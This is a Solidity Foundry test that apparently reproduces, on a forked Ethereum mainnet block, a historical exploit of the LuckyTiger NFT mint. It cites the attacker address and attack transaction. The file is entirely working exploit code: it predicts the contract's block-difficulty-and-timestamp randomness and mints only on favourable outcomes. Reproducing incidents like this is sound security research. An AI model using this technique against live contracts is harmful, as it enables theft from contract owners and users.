src/test/2022-08/LuckyTiger_exp.sol

1// SPDX-License-Identifier: GPL-3.0
2 
3pragma solidity ^0.8.13;
4 
5import "forge-std/Test.sol";
6 
7/*
8    Attacker: 0x3392c91403f09ad3b7e7243dbd4441436c7f443c
9    Attack tx: https://etherscan.io/tx/0x804ff3801542bff435a5d733f4d8a93a535d73d0de0f843fd979756a7eab26af
10    poc refers to: https://github.com/0xNezha/luckyHack
11*/
12 
13interface NFT {
14    function balanceOf(
15        address _owner
16    ) external view returns (uint256 balance);
17}
18 
19contract luckyHack is Test {
20    event Log(string);
21 
22    address owner = address(this);
23    address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967;
24 
25    function setUp() public {
26        vm.createSelectFork("mainnet", 15_403_430); // fork mainnet block number 15403430
27        vm.deal(address(this), 3 ether);
28        vm.deal(address(nftAddress), 5 ether);
29    }
30 
31    function getRandom() public view returns (uint256) {
32        if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
33            return 0;
34        } else {
35            return 1;
36        }
37    }
38 
39    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
40        return this.onERC721Received.selector;
41    }
42 
43    function testExploit() public {
44        vm.warp(1_661_351_167);
45        console.log("getRandom", getRandom());
46 
47        uint256 amount = 10;
48 
49        if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
50            revert("Not lucky");
51        }
52        bytes memory data = abi.encodeWithSignature("publicMint()");
53 
54        for (uint256 i = 0; i < amount; ++i) {
55            (bool status,) = address(nftAddress).call{value: 0.01 ether}(data);
56            if (!status) {
57                revert("error");
58            } else {
59                emit Log("success");
60            }
61        }
62 
63        console.log("NFT we got:", NFT(nftAddress).balanceOf(address(this)));
64    }
65 
66    function getBalance() external view returns (uint256) {
67        return address(this).balance;
68    }
69 
70    receive() external payable {}
71}